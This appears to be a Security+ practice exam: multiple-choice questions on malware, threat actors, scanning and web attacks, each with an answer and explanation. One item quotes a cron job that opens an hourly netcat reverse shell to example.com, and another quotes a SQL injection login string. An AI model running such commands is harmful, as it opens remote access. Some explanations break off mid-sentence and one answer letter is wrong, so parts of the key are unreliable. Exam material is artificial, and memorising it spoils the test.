The following graphic shows a report from an OpenVAS vulnerability scan. What should Charles do first to determine the best fix for the vulnerability shown? A. Disable PHP-CGI. B. Upgrade PHP to version 5.4. C. Review the vulnerability descriptions in the CVEs listed. D. Disable the web server.

C. Although it may be tempting to immediately upgrade, reading and understanding the CVEs for a vulnerability is a good best practice. Once Charles understands the issue, he can then remediate it based on the recommendations for that specific problem. Disabling PHP or the web server would break the service, and in this case, only newer versions of PHP than 5.4 have the patch Charles needs.

Your company has hired an outside security firm to perform various tests of your network. During the vulnerability scan, you will provide that company with logins for various systems (i.e., database server, application server, web server, etc.) to aid in their scan. What best describes this? A. A known environment test B. A gray-box test C. A credentialed scan D. An intrusive scan

C. By giving the tester logins, you are allowing them to conduct a credentialed scan (i.e., a scan with an account or accounts that allow them access to check settings and configurations). Known environment and partially known environment tests describe the level of knowledge the tester is given of the network. A privilege scan cannot be an unknown environment test, but it could be either known or partially known. An intrusive scan is a term used for scans that attempt to exercise or use the vulnerability they find instead of attempting to avoid harm.

Christina runs a vulnerability scan of a customer network and discovers that a consumer wireless router on the network returns a result reporting default login credentials. What common configuration issue has she encountered? A. An unpatched device B. An out of support device C. An unsecured administrator account D. An unsecured user account

C. Consumer wireless routers provide local administrative access via their default credentials. Although they recommend that you change the password (and sometimes the username for greater security), many installations result in an unsecured administrative account. The other answers are all common issues but not what is described in the question

Frank is using the cloud hosting service's web publishing service rather than running his own web servers. Where will Frank need to look to review his logs to see what types of traffic his application is creating? A. Syslog B. Apache logs C. The cloud service's web logs D. None of the above

C. Since Frank is using the cloud service provider's web services, he will need to review the logs that they capture. If he has not configured them, he will need to do so, and he will then need a service or capability to analyze them for the types of traffic he is concerned about. Syslog and Apache logs are both found on a traditional web host, and they would be appropriate if Frank was running his own web servers in the infrastructure as a service (IaaS) environment.

Your company is instituting a new security awareness program. You are responsible for educating end users on a variety of threats, including social engineering. Which of the following best defines social engineering? A. Illegal copying of software B. Gathering information from discarded manuals and printouts C. Using people skill D. Phishing emails

C. Social engineering is about using people skills to get information you would not otherwise have access to. Illegal copying of software isn't social engineering, nor is gathering of discarded manuals and printouts, which describes dumpster diving. Phishing emails use some social engineering, but that is one example of social engineering, not a definition

Amanda encounters a Bash script that runs the following command: crontab -e 0 * * * * nc example.com 8989 -e /bin/bash What does this command do? A. It checks the time every hour. B. It pulls data from example.com every minute. C. It sets up a reverse shell. D. None of the above

C. This command starts a reverse shell connecting to example.com on port 8989 every hour. If you're not familiar with cron, you should take a moment to read the basics of cron commands and what you can do with them—you can read a man page for cron at manpages.ubuntu.com/manpages/focal/man8/cron.8.html

The mobile game that Jack has spent the last year developing has been released, and malicious actors are sending traffic to the server that runs it to prevent it from competing with other games in the App Store. What type of denial-of-service attack is this? A. A network DDoS B. An operational technology DDoS C. A GDoS D. An application DDoS

D. This is an example of an application distributed denial-of-service (DDoS) attack, aimed at a gaming application. A network DDoS would be aimed at network technology, either the devices or protocols that underly networks. An operational technology (OT) DDoS targets SCADA, ICS, utility or similar operational systems. A GDoS was made up for this question.

What is the key differentiator between SOAR and SIEM systems? A. SOAR integrates with a wider range of applications. B. SIEM includes threat and vulnerability management tools. C. SOAR includes security operations automation. D. SIEM includes security operations automation.

A. Security orchestration, automation, and response (SOAR) services are designed to integrate with a broader range of both internal and external applications. Both security information and event management (SIEM) and SOAR systems typically include threat and vulnerability management tools, as well as security operations' automation capabilities.

What best describes an attack that attaches some malware to a legitimate program so that when the user installs the legitimate program, they inadvertently install the malware? A. Backdoor B. Trojan horse C. RAT D. Polymorphic virus

B. A Trojan horse pretends to be legitimate software, and may even include it, but also includes malicious software as well. Backdoors, RATs, and polymorphic viruses are all attacks, but they do not match what is described in the question scenario.

What term describes data that is collected from publicly available sources that can be used in an intelligence context? A. OPSEC B. OSINT C. IntCon D. STIX

B. OSINT, or open source intelligence, is intelligence information obtained from public sources like search engines, websites, domain name registrars, and a host of other locations. OPSEC, or operational security, refers to habits such as not disclosing unnecessary information. STIX is the Structured Threat Intelligence Exchange protocol, and IntCon was made up for this question.

Michelle discovers that a number of systems throughout her organization are connecting to a changing set of remote systems on TCP port 6667. What is the most likely cause of this, if she believes the traffic is not legitimate? A. An alternate service port for web traffic B. Botnet command and control via IRC C. Downloads via a peer-to-peer network D. Remote access Trojans

B. This question combines two pieces of knowledge: how botnet command and control works, and that IRC's default port is TCP 6667. Although this could be one of the other answers, the most likely answer given the information available is a botnet that uses Internet Relay Chat (IRC) as its command-and-control channel

What is the typical goal intent or goal of hacktivists? A. Increasing their reputation B. Financial gain C. Making a political statement D. Gathering high-value data

C. The most common motivation for hacktivists is to make a political statement. Reputational gains are often associated with script kiddies, whereas financial gain is most commonly a goal of organized crime or insider threats. Gathering high-value data is typical of both nation-state actors and organized crime.

You have discovered that someone has been trying to log on to your web server. The person has tried a wide range of likely passwords. What type of attack is this? A. Rainbow table B. Birthday attack C. Dictionary attack D. Spoofing

C. This is an example of an online brute-force dictionary attack. Dictionary attacks use common passwords as well as common substitutions to attempt to break into a system or service. Back-off algorithms that lock out attackers after a small number of incorrect password attempts can help slow or stop dictionary attacks and other brute-force password attacks. Rainbow tables are tables of precomputed hashes. The birthday attack is a method for generating collisions of hashes. Finally, no spoofing is indicated in this scenario

Nick purchases his network devices through a gray market supplier that imports them into his region without an official relationship with the network device manufacturer. What risk should Nick identify when he assesses his supply chain risk? A. Lack of vendor support B. Lack of warranty coverage C. Inability to validate the source of the devices D. All of the above

D. Acquisition via the gray market can lead to lack of vendor support, lack of warranty coverage, and the inability to validate where the devices came from. Nick should express concerns about the supply chain, and if his devices need to be from a trusted source or s

What is the primary difference between active and passive reconnaissance? A. Active will be done manually, passive with tools. B. Active is done with black-box tests and passive with white-box tests. C. Active is usually done by attackers and passive by testers. D. Active will actually connect to the network and could be detected; passive won't.

D. Active reconnaissance connects to the network using techniques such as port scanning. Both active and passive reconnaissance can be done manually or with tools. Black-box and white-box refer to the amount of information the tester is given. Attackers and testers use both types of reconnaissance

You are responsible for incident response at Acme Corporation. You have discovered that someone has been able to circumvent the Windows authentication process for a specific network application. It appears that the attacker took the stored hash of the password and sent it directly to the backend authentication service, bypassing the application. What type of attack is this? A. Hash spoofing B. Evil twin C. Shimming D. Pass the hash

D. Using a pass-the-hash attack requires attackers to acquire a legitimate hash, and then present it to a server or service. A real hash was provided; it was not spoofed. An evil twin is a wireless attack. Shimming is inserting malicious code between an application and a library.

John has discovered that an attacker is trying to get network passwords by using software that attempts a number of passwords from a list of common passwords. What type of attack is this? A. Dictionary B. Rainbow table C. Brute force D. Session hijacking

A. Dictionary attacks use a list of words that are believed to be likely passwords. A rainbow table is a precomputed table of hashes. Brute force tries every possible random combination. If an attacker has the original plain text and ciphertext for a message, they can determine the key space used through brute-force attempts targeting the key space. Session hijacking is when the attacker takes over an authenticated session.

A sales manager at your company is complaining about slow performance on his computer. When you thoroughly investigate the issue, you find spyware on his computer. He insists that the only thing he has downloaded recently was a freeware stock trading application. What would best explain this situation? A. Logic bomb B. Trojan horse C. Rootkit D. Macro virus

B. A Trojan horse attaches a malicious program to a legitimate program. When the user downloads and installs the legitimate program, they get the malware. A logic bomb is malware that does its misdeeds when some condition is met. A rootkit is malware that gets administrative, or root, access. A macro virus is a virus that is embedded in a document as a macro

Which of the following best describes a collection of computers that have been compromised and are being controlled from one central point? A. Zombienet B. Botnet C. Nullnet D. Attacknet

B. A collection of computers that are compromised, then centrally controlled to perform actions like denial-of-service attacks, data collection, and other malicious activities is called a botnet. Zombienets, Nullnets, and Attacknets are not commonly used terms to describe botnets.

Which of the following best describes malware that will execute some malicious activity when a particular condition is met (i.e., if the condition is met, then executed)? A. Boot sector virus B. Logic bomb C. Buffer overflow D. Sparse infector virus

B. A logic bomb performs malicious actions when a specific condition or conditions are met. A boot sector virus infects the boot sector of the hard drive. A buffer overflow occurs when the attacker attempts to put more data in a variable than it can hold. A sparse infector virus performs its malicious activity intermittently to make it harder to detect.

When an attacker tries to find an input value that will produce the same hash as a password, what type of attack is this? A. Rainbow table B. Brute force C. Session hijacking D. Collision attack

D. A collision is when two different inputs produce the same hash. A rainbow table is a table of precomputed hashes. Brute force attempts every possible random combination to get the password or encryption key. Session hijacking is when the attacker takes over an authenticated session

Charles wants to ensure that his outsourced code development efforts are as secure as possible. Which of the following is not a common practice to ensure secure remote code development? A. Ensure developers are trained on secure coding techniques. B. Set defined acceptance criteria for code security. C. Test code using automated and manual security testing systems. D. Audit all underlying libraries used in the code.

D. Although auditing some libraries or libraries that are custom-developed for the code is common, auditing all libraries used in the code is unlikely except in exceptional situations. The remainder of these practices are all commonly used when working with outsourced code development teams

What type of threat actors are most likely to have a profit motive for their malicious activities? A. State actors B. Script kiddies C. Hacktivists D. Criminal syndicates

D. Criminal syndicates may produce, sell, and support malware tools, or may deploy them themselves. Crypto malware and other packages are examples of tools often created and used by criminal syndicates. State actors are more likely to be associated with advanced persistent threats (APTs) aimed at accomplishing goals of the nation-state that supports them. Hacktivists typically have political motivations, whereas script kiddies may simply be in it for recognition or fun.

Rick wants to make offline brute-force attacks against his password file very difficult for attackers. Which of the following is not a common technique to make passwords harder to crack? A. Use of a salt B. Use of a pepper C. Use of a purpose-built password hashing algorithm D. Encrypting password plain text using symmetric encryption

D. Retaining the actual password is not a best practice, and thus encrypting password plain text is not a common technique to make passwords harder to crack. Since the application would need the cryptographic key to read the passwords, anybody who had access to that key could decrypt the passwords. Using a salt, a pepper, and a cryptographic hashing algorithm designed for passwords are all common best practices to prevent offline bruteforce attacks

What type of team is used to test security by using tools and techniques that an actual attacker would use? A. A red team B. A blue team C. A white team D. A purple team

A. A red team is a team that tests security by using tools and techniques like an actual attacker. A blue team is a defender team that protects against attackers (and testers like red teams!). Purple teams are a combination of red and blue teams intended to leverage the techniques and tools from both sides to improve organizational security. White teams oversee cybersecurity contests and judge events between red teams and blue teams.

In the United States, collaborative industry organizations that analyze and share cybersecurity threat information within their industry verticals are known by what term? A. IRTs B. ISACs C. Feedburners D. Vertical threat feeds

B. According to the national council of ISACs, information sharing and analysis centers, "Information Sharing and Analysis Centers (ISACs) help critical infrastructure owners and operators protect their facilities, personnel and customers from cyber and physical security threats and other hazards. ISACs collect, analyze and disseminate actionable threat information to their members and provide members with tools to mitigate risks and enhance resiliency." IRTs are incident response teams, Feedburner is Google's RSS feed management tool, and vertical threat feeds is not an industry term.

Susan receives $10,000 for reporting a vulnerability to a vendor who participates in a program to identify issues. What term is commonly used to describe this type of payment? A. A ransom B. A payday C. A bug bounty D. A zero-day disclosure

C. Bug bounties are increasingly common and can be quite lucrative. Bug bounty websites match vulnerability researchers with organizations that are willing to pay for information about issues with their software or services. Ransoms are sometimes demanded by attackers, but this is not a ransom since it was voluntarily paid as part of a reward system. A zeroday disclosure happens when a vulnerability is disclosed and the organization has not been previously informed and allowed to fix the issue. Finally, you might feel like $10,000 is a payday, but the term is not used as a technical term and doesn't appear on the exam.

Adam wants to describe threat actors using common attributes. Which of the following list is not a common attribute used to describe threat actors? A. Internal/external B. Resources or funding level C. Years of experience D. Intent/motivation

C. Common attributes of threat actors that you should be able to describe and explain for the Security+ exam include whether they are internal or external threats, their level of sophistication or capability, their resources or funding, and their intent or motivation. The number of years of experience is difficult to determine for many threat actors and is not a direct way to gauge their capabilities, and is therefore not a common attribute that is used to assess them.

The following image shows a report from an OpenVAS system. What type of weak configuration is shown here? A. Weak encryption B. Unsecured administrative accounts C. Open ports and services D. Unsecure protocols

B. The Postgres server is set up using a weak password for the user postgres, the administrative login for the database. This is a form of unsecured administrative or root account. Interestingly, this is not a default setting, since Postgres uses no password by default for the Postgres account—an even worse setting than using postgres as the password, but not by much!

Frank is deeply concerned about attacks to his company's e-commerce server. He is particularly worried about cross-site scripting and SQL injection. Which of the following would best defend against these two specific attacks? A. Encrypted web traffic B. Input validation C. A firewall D. An IDS

B. The best option listed to defend against the attacks mentioned is input validation. Encrypting the web traffic will not have any effect on these two attacks. A web application firewall (WAF) might mitigate these attacks, but it would be secondary to input validation, and an intrusion detection system (IDS) will simply detect the attack—it won't stop it.

Your wireless network has been breached. It appears the attacker modified a portion of data used with the stream cipher and used this to expose wirelessly encrypted data. What is this attack called? A. Evil twin B. Rogue WAP C. IV attack D. WPS attack

C. Initialization vectors are used with stream ciphers. An IV attack attempts to exploit a flaw to use the IV to expose encrypted data. Nothing in this scenario requires or describes a rogue access point/evil twin. Wi-Fi Protected Setup (WPS) uses a PIN to connect to the wireless access point (WAP). The WPS attack attempts to intercept that PIN in transmission, connect to the WAP, and then steal the WPA2 password.

Spyware is an example of what type of malicious software? A. A CAT B. A worm C. A PUP D. A Trojan

C. Spyware and adware are both common examples of a PUP, or potentially unwanted program. A CAT was made up for this question and is not a common categorization for malware, whereas worms are self-spreading malware that often exploit vulnerabilities to spread via a network. Trojans pretend to be legitimate software or paired with legitimate software to gain entry to a system or device.

You are responsible for incident response at Acme Bank. The Acme Bank website has been attacked. The attacker used the login screen, but rather than enter login credentials, they entered some odd text: ' or '1' = '1. What is the best description for this attack? A. Cross-site scripting B. Cross-site request forgery C. SQL injection D. ARP poisoning

C. This is a very basic form of SQL injection. Cross-site scripting would have JavaScript in the text field and would be designed to impact other sites from a user's session. Cross-site request forgery would not involve any text being entered in the web page, and ARP poisoning is altering the ARP table in a switch; it is not related to website hacking.

John is running an IDS on his network. Users sometimes report that the IDS flags legitimate traffic as an attack. What describes this? A. False positive B. False negative C. False trigger D. False flag

A. When an IDS or antivirus mistakes legitimate traffic for an attack, this is called a false positive. A false negative is when the IDS mistakes an attack for legitimate traffic. It is the opposite of a false positive. Options C and D are both incorrect. Although these may be grammatically correct, these are not the terms used in the industry. In military operations, false flag operations attempt to transfer blame to another company, thus a "false flag."

Charles discovers that an attacker has used a vulnerability in a web application that his company runs and has then used that exploit to obtain root privileges on the web server. What type of attack has he discovered? A. Cross-site scripting B. Privilege escalation C. A SQL injection D. A race condition

B. A privilege escalation attack can occur horizontally, where attackers obtain similar levels of privilege but for other users, or vertically where they obtain more advanced rights. In this case, Charles has discovered a vertical privilege escalation attack that has allowed the attacker to obtain administrative rights. Cross-site scripting and SQL injection are both common types of web application attacks, and a race condition occurs when data can be changed between when it is checked and when it is used.

Amanda discovers that a member of her organization's staff has installed a remote access Trojan on their accounting software server and has been accessing it remotely. What type of threat has she discovered? A. Zero-day B. Insider threat C. Misconfiguration D. Weak encryption

B. Amanda has discovered an insider threat. Insider threats can be difficult to discover, as a malicious administrator or other privileged user will often have the ability to conceal their actions or may actually be the person tasked with hunting for threats like this! This is not a zero-day—no vulnerability was mentioned, there was no misconfiguration since this was an intentional action, and encryption is not mentioned or discussed.

What type of attack is based on sending more data to a target variable than the data can actually hold? A. Bluesnarfing B. Buffer overflow C. Bluejacking D. Cross-site scripting

B. Buffer overflow attacks cram more data into a field or buffer than they can accept, overflowing into other memory locations and either crashing the system or application, or potentially allowing code to be inserted into executable locations. Bluesnarfing and bluejacking are both Bluetooth attacks. Cross-site scripting attacks allow attackers to inject scripts into pages viewed by other users

Matt discovers that a system on his network is sending hundreds of Ethernet frames to the switch it is connected to, with each frame containing a different source MAC address. What type of attack has he discovered? A. Etherspam B. MAC flooding C. Hardware spoofing D. MAC hashing

B. MAC flooding attacks attempt to overflow a switch's CAM table, causing the switch to send all traffic to all ports rather than to the port that a given MAC address is associated with. Although this was possible with many older switches, most modern switches are less susceptible to this type of attack, and some have security capabilities built in to prevent this type of attack

Angela reviews the authentication logs for her website and sees attempts from many different accounts using the same set of passwords. What is this attack technique called? A. Brute forcing B. Password spraying C. Limited login attacks D. Account spinning

B. Password spraying is a specific type of brute force attack which uses a smaller list of common passwords for many accounts to attempt to log in. Although brute forcing is technically correct, the best match here is password spraying. When you encounter questions like this on the test, make sure you provide the most accurate answer, rather than one that fits but may not be the best answer. Limited login attacks is a made-up answer, and spinning an account refers to changing the password for an account, often because of a compromise or to prevent a user from logging back into it while preserving the account

Why is SSL stripping a particular danger with open Wi-Fi networks? A. WPA2 is not secure enough to prevent this. B. Open hotspots do not assert their identity in a secure way. C. Open hotspots can be accessed by any user. D. 802.11ac is insecure and traffic can be redirected

B. Since open Wi-Fi hotspots do not have a way to prove they are legitimate, they can be easily spoofed. Attackers can stand up a fake version of the hotspot and then conduct an SSL stripping attack by inserting themselves into sessions that victims attempt to open to secure servers.

Mary has discovered that a web application used by her company does not always handle multithreading properly, particularly when multiple threads access the same variable. This could allow an attacker who discovered this vulnerability to exploit it and crash the server. What type of error has Mary discovered? A. Buffer overflow B. Logic bomb C. Race conditions D. Improper error handling

C. A race condition can occur when multiple threads in an application are using the same variable and the situation is not properly handled. Option A is incorrect. A buffer overflow is attempting to put more data in a buffer than it is designed to hold. Option B is incorrect. A logic bomb is malware that performs its misdeed when some logical condition is met. Option D is incorrect. As the name suggests, improper error handling is the lack of adequate or appropriate error handling mechanisms within software.

During a penetration test, Angela obtains the uniform of a well-known package delivery service and wears it into the target office. She claims to have a delivery for a C-level employee she knows is there and insists that the package must be signed for by that person. What social engineering technique has she used? A. Impersonation B. Whaling C. A watering hole attack D. Prepending

A. Angela has impersonated an actual employee of the delivery service to gain access to the company. Company uniforms are a very useful element for in-person social engineering. Whaling is a type of phishing attack aimed at leaders in an organization. A watering hole attack deploys malware or other attack tools at a site or sites that a target group frequently uses. Prepending is vaguely defined by the Security+ exam but can mean a number of things. When you see prepending on the exam, it should normally mean "adding something to the front of text."

What purpose does a fusion center serve in cyberintelligence activities? A. It promotes information sharing between agencies or organizations. B. It combines security technologies to create new, more powerful tools. C. It generates power for the local community in a secure way. D. It separates information by classification ratings to avoid accidental distribution.

A. Cyberintelligence fusion is the process of gathering, analyzing, and then distributing information between disparate agencies and organizations. Fusion centers like those operated by the U.S. Department of Homeland Security (DHS) focus on strengthening shared intelligence activities. They are not specifically tasked with building tools by combining other tools, although they may in some cases. They are not power plants, and they are focused on gathering and sharing information, not building a classification structure.

Coleen is the web security administrator for an online auction website. A small number of users are complaining that when they visit the website it does not appear to be the correct site. Coleen checks and she can visit the site without any problem, even from computers outside the network. She also checks the web server log and there is no record of those users ever connecting. Which of the following might best explain this? A. Typo squatting B. SQL injection C. Cross-site scripting D. Cross-site request forgery

A. From the description it appears that they are not connecting to the real web server but rather a fake server. That indicates typo squatting: have a URL that is named very similarly to a real site so that when users mistype the real site's URL they will go to the fake site. Options B, C, and D are all incorrect. These are all methods of attacking a website, but in this case, the actual website was not attacked. Instead, some users are visiting a fake s

Alice wants to prevent SSRF attacks. Which of the following will not be helpful for preventing them? A. Removing all SQL code from submitted HTTP queries B. Blocking hostnames like 127.0.01 and localhost C. Blocking sensitive URLs like /admin D. Applying whitelist-based input filters

A. Server-side request forgery (SSRF) attempts typically attempt to get HTTP data passed through and will not include SQL injection. Blocking sensitive hostnames, IP addresses, and URLs are all valid ways to prevent SSRF, as is the use of whitelist-based input filters.

Louis is investigating a malware incident on one of the computers on his network. He has discovered unknown software that seems to be opening a port, allowing someone to remotely connect to the computer. This software seems to have been installed at the same time as a small shareware application. Which of the following best describes this malware? A. RAT B. Worm C. Logic bomb D. Rootkit

A. This is a remote-access Trojan (RAT), malware that opens access for someone to remotely access the system. A worm would have spread itself via a vulnerability, whereas a logic bomb runs when some logical condition is met. Finally, a rootkit provides root or administrative access to the system.

Chris has hundreds of systems spread across multiple locations and wants to better handle the amount of data that they create. What two technologies can help with this? A. Sentiment analysis B. Log aggregation C. Security monitoring D. User behavior analysis

A. Using log aggregation to pull together logs from multiple sources, and performing collection and initial analysis on log collectors can help centralize and handle large log volumes. Capturing packets is useful for network traffic analysis to identify issues or security concerns. Security monitoring is an overall function for security information and event management (SIEM) and doesn't specifically help with this need. Both sentiment analysis and user behavior analysis are aimed at users and groups rather than at how data is collected and managed.

Telnet, RSH, and FTP are all examples of what? A. File transfer protocols B. Unsecure protocols C. Core protocols D. Open ports

B. All of these protocols are unsecure. FTP has been replaced by secure versions in some uses (SFTP/FTPS), whereas Telnet has been superseded by SSH in modern applications. RSH is outmoded and should be seen only on truly ancient systems. If you find a system or device exposing these protocols, you will need to dig in further to determine why they are exposed and how they can be protected if they must remain open for a legitimate reason.

Ryan needs to verify that no unnecessary ports and services are available on his systems, but he cannot run a vulnerability scanner. What is his best option? A. Passive network traffic capture to detect services B. A configuration review C. Active network traffic capture to detect services D. Log review

B. Configuration reviews, either using automated tool or manual validation, can be a useful proactive way to ensure that unnecessary ports and services are not accessible. Configuration management tools can also help ensure that expected configurations are in place. Neither passive nor active network packet capture will show services that are not accessed, meaning that open ports could be missed, and log review won't show all open ports either.

Your company has issued some new security directives. One of these new directives is that all documents must be shredded before being thrown out. What type of attack is this trying to prevent? A. Phishing B. Dumpster diving C. Shoulder surfing D. On-path attack

B. Dumpster diving is the process of going through the trash to find documents. Shredding documents will help to prevent dumpster diving, but truly dedicated dumpster divers can reassemble even well-shredded documents, leading some organizations to burn their most sensitive documents after they have been shredded. Phishing is often done via email or phone and is an attempt to elicit information or convince a user to click a link or open an attachment. Shoulder surfing is literally looking over someone's shoulder. In the on-path (man-in-the-middle) attack, the attacker is between the lient and the server, and to either end, the attacker appears like the legitimate other end

During a penetration test, Kathleen gathers information, including the organization's domain name, IP addresses, employee information, phone numbers, email addresses, and similar data. What is this process typically called? A. Mapping B. Footprinting C. Fingerprinting D. Aggregation

B. Footprinting is the process of gathering information about a computer system or network, and it can involve both active and passive techniques. Mapping

Fred discovers that the lighting and utility control systems for his company have been overwhelmed by traffic sent to them from hundreds of external network hosts. This has resulted in the lights and utility system management systems not receiving appropriate reporting, and the endpoint devices cannot receive commands. What type of attack is this? A. A SCADA overflow B. An operational technology (OT) DDoS C. A network DDoS D. An application DDoS

B. Lighting and utility systems, as well as SCADA, PLCs, CNC, scientific equipment and similar devices are types of operational technology. Since this is a distributed attack that results in a denial of service, it is a distributed denial-of-service (DDoS) attack. OT systems are often isolated or otherwise protected from remote network connections to prevent this type of attack since many OT devices do not have strong security controls or frequent updates. A SCADA overflow is not a term used in the industry, but network and application DDoS attacks do appear on the Security+ exam outline, and you will need to be able to differentiate them from this type of OT DDoS.

How is phishing different from general spam? A. It is sent only to specific targeted individuals. B. It is intended to acquire credentials or other data. C. It is sent via SMS. D. It includes malware in the message.

B. Phishing is intended to acquire data, most often credentials or other information that will be useful to the attacker. Spam is a broader term for unwanted email, although the term is often generally used to describe unwanted communications. Spear phishing targets specific individuals, whereas whaling targets important people in an organization. Smishing is sent via SMS (text message). Malware can be sent in any of these instances, but there is not a specific related term that means "spam with malware in it."

Postings from Russian agents during the 2016 U.S. presidential campaign to Facebook and Twitter are an example of what type of effort? A. Impersonation B. A social media influence campaign C. Asymmetric warfare D. A watering hole attack

B. Social media influence campaigns seek to achieve the goals of the attacker or owner of the campaign. They leverage social media using bots and groups of posters to support the ideas, concepts, or beliefs that align with the goals of the campaign. Impersonation is a type of social engineering attack where the attacker pretends to be someone else. A watering hole attack places malware or malicious code on a site or sites that are frequently visited by a targeted group. Asymmetric warfare is warfare between groups with significantly different power or capabilities

Spyware is an example of what type of malware? A. Trojan B. PUP C. RAT D. Ransomware

B. Spyware and adware are both common examples PUPs, or potentially unwanted programs. Though not directly malicious, they can pose risks to user privacy as well as create annoyances like popups or other unwanted behaviors. Trojans appear to be legitimate programs or are paired with them, RATs provide remote access and are a subcategory of Trojans, and ransomware demands payment or other actions to avoid damage to files or reputation.

Selah includes a question in her procurement request-for-proposal process that asks how long the vendor has been in business and how many existing clients the vendor has. What common issue is this practice intended to help prevent? A. Supply chain security issues B. Lack of vendor support C. Outsourced code development issues D. System integration problems

B. Systems and software that no longer have vendor support can be a significant security risk, and ensuring that a vendor will continue to exist and provide support is an important part of many procurement processes. Selah's questions are intended to assess the longevity and viability of the company and whether buying from them will result in her organization having a usable product for the long term.

CVE is an example of what type of feed? A. A threat intelligence feed B. A vulnerability feed C. A critical infrastructure listing feed D. A critical virtualization exploits feed

B. The Common Vulnerabilities and Exposures (CVE) list has entries that describe and provide references to publicly known cybersecurity vulnerabilities. A CVE feed will provide updated information about new vulnerabilities and a useful index number to cross reference with other services.

An attacker is trying to get access to your network. He is sending users on your network a link to a new game with a hacked license code program. However, the game files also include software that will give the attacker access to any machine that it is installed on. What type of attack is this? A. Rootkit B. Trojan horse C. Spyware D. Boot sector virus

B. The malware in this example is a Trojan horse—it pretends to be something desirable, or at least innocuous, and installs malicious software in addition to or instead of the desired software. A rootkit gives root or administrative access, spyware is malware that records user activities, and a boot sector virus is a virus that infects the boot sector of the hard drive

After running a vulnerability scan, Elaine discovers that the Windows 10 workstations in her company's warehouse are vulnerable to multiple known Windows exploits. What should she identify as the root cause in her report to management? A. Unsupported operating systems B. Improper or weak patch management for the operating systems C. Improper or weak patch management for the firmware of the systems D. Use of unsecure protocols

B. The questions tells us that these are Windows 10 systems, a current operating system. From there, it is safe to presume that something has gone wrong with the patching process or that there isn't a patching process. Elaine should investigate both what the process is and if there are specific reasons the systems are not patched. Since we know these systems run a current OS, option A, unsupported operating systems, can be ruled out. The vulnerabilities are specifically noted to be Windows vulnerabilities, ruling out option C, and there is no mention of protocols, eliminating option D as well

The type and scope of testing, client contact details, how sensitive data will be handled, and the type and frequency of status meetings and reports are all common elements of what artifact of a penetration test? A. The black-box outline B. The rules of engagement C. The white-box outline D. The close-out report

B. The rules of engagement for a penetration test typically include the type and scope of testing, client contact information and requirements for when the team should be notified, sensitive data handling requirements, and details of regular status meetings and reports.

Mike is a network administrator with a small financial services company. He has received a pop-up window that states his files are now encrypted and he must pay .5 bitcoins to get them decrypted. He tries to check the files in question, but their extensions have changed, and he cannot open them. What best describes this situation? A. Mike's machine has a rootkit. B. Mike's machine has ransomware. C. Mike's machine has a logic bomb. D. Mike's machine has been the target of whaling

B. This is an example of ransomware, which demands payment to return your data. A rootkit provides access to administrator/root privileges. A logic bomb executes its malicious activity when some condition is met. This scenario does not describe whaling.

Nicole wants to show the management in her organization real-time data about attacks from around the world via multiple service providers in a visual way. What type of threat intelligence tool is often used for this purpose? A. A pie chart B. A threat map C. A dark web tracker D. An OSINT repository

B. Threat maps like those found at threatmap.fortiguard.com and threatmap .checkpoint.com are visualizations of real-time or near real-time data gathered by vendors and other organizations that can help visualize major threats and aid in analysis of them. Pie charts may be done in real time via security information and event management (SIEM) or other systems, but note that no SIEM or other device was mentioned. A dark web tracker was made up for the question, and OSINT repositories wouldn't show real-time data like this.

What browser feature is used to help prevent successful URL redirection attacks? A. Certificate expiration tracking B. Displaying the full real URL C. Disabling cookies D. Enabling JavaScript

B. URL redirection has many legitimate uses, from redirecting traffic from no-longersupported links to current replacements to URL shortening, but URL redirection was commonly used for phishing attacks. Modern browsers display the full, real URL, helping to limit the impact of this type of attack. Certificate expiration tracking is used to ensure that website certificates are current, but it does not prevent URL redirection attacks. JavaScript being enabled or disabling cookies is not helpful for this purpose either.

Christina wants to identify indicators of attack for XML-based web applications that her organization runs. Where is she most likely to find information that can help her determine whether XML injection is occurring against her web applications? A. Syslog B. Web server logs C. Authentication logs D. Event logs

B. XML injection is often done by modifying HTTP queries sent to an XML-based web service. Reviewing web server logs to see what was sent and analyzing them for potential attacks will help Christina see if unexpected user input is visible in the logs. Syslog, authentication logs, and event logs are unlikely to contain information about web applications that would show evidence of an XML injection-based attack.

When investigating breaches and attempting to attribute them to specific threat actors, which of the following is not one of the indicators of an APT? A. Long-term access to the target B. Sophisticated attacks C. The attack comes from a foreign IP address. D. The attack is sustained over time.

C. Although you might suppose that a nation-state attacker (the usual attacker behind an advanced persistent threat) would attack from a foreign IP address, they often use a compromised address in the target country as a base for attacks. Options A, B, and D are all incorrect. These are actually signs of an advanced persistent threat

What is the primary difference between an intrusive and a nonintrusive vulnerability scan? A. An intrusive scan is a penetration test. B. A nonintrusive scan is just a document check. C. An intrusive scan could potentially disrupt operations. D. A nonintrusive scan won't find most vulnerabilities.

C. An intrusive scan attempts to actively exploit vulnerabilities, and thus could possibly cause some disruption of operations. For this reason, it should be conducted outside normal business hours or in a test environment, if it is used at all. A nonintrusive scan attempts to identify vulnerabilities without exploiting them. A penetration test actually attempts to breach the network by exploiting vulnerabilities. An audit is primarily a document check. Both intrusive and nonintrusive vulnerability scans can be effective at finding vulnerabilities

Gabby wants to protect a legacy platform with known vulnerabilities. Which of the following is not a common option for this? A. Disconnect it from the network. B. Place the device behind a dedicated firewall and restrict inbound and outbound traffic C. Rely on the outdated OS to confuse attackers. D. Move the device to a protected VLAN.

C. Many organizations have legacy platforms in place that cannot be patched or upgraded but that are still an important part of their business. Security professionals are often asked to suggest ways to secure the systems while leaving them operational. Common options include moving the devices to an isolated virtual LAN (VLAN), disconnecting the devices from the network and ensuring they are not plugged back in, and using a firewall or other security device to ensure that the legacy system is protected from attacks and cannot browse the Internet or perform other actions that could result in compromise.

Why do attackers target passwords stored in memory? A. They are encrypted in memory. B. They are hashed in memory. C. They are often in plain text. D. They are often de-hashed for use.

C. Passwords in memory are often stored in plain text for use. This means that attackers can recover them if they can access the memory where the password is stored, even if the storage is ephemeral.

Which of the following attacks can be caused by a user being unaware of their physical surroundings? A. ARP poisoning B. Phishing C. Shoulder surfing D. Smurf attack

C. Shoulder surfing involves literally looking over someone's shoulder in a public place and gathering information, perhaps login passwords. ARP poisoning alters the Address Resolution Protocol tables in the switch. Phishing is an attempt to gather information, often via email, or to convince a user to click a link to, and/or download, an attachment. A Smurf attack is a historical form of denial-of-service attack.

What type of attack is the U.S. Trusted Foundry program intended to help prevent? A. Critical infrastructure attacks B. Metalwork and casting attacks C. Supply chain attacks D. Software source code attacks

C. The U.S. Trusted Foundry program is intended to prevent supply chain attacks by ensuring end-to-end supply chain security for important integrated circuits and electronics.

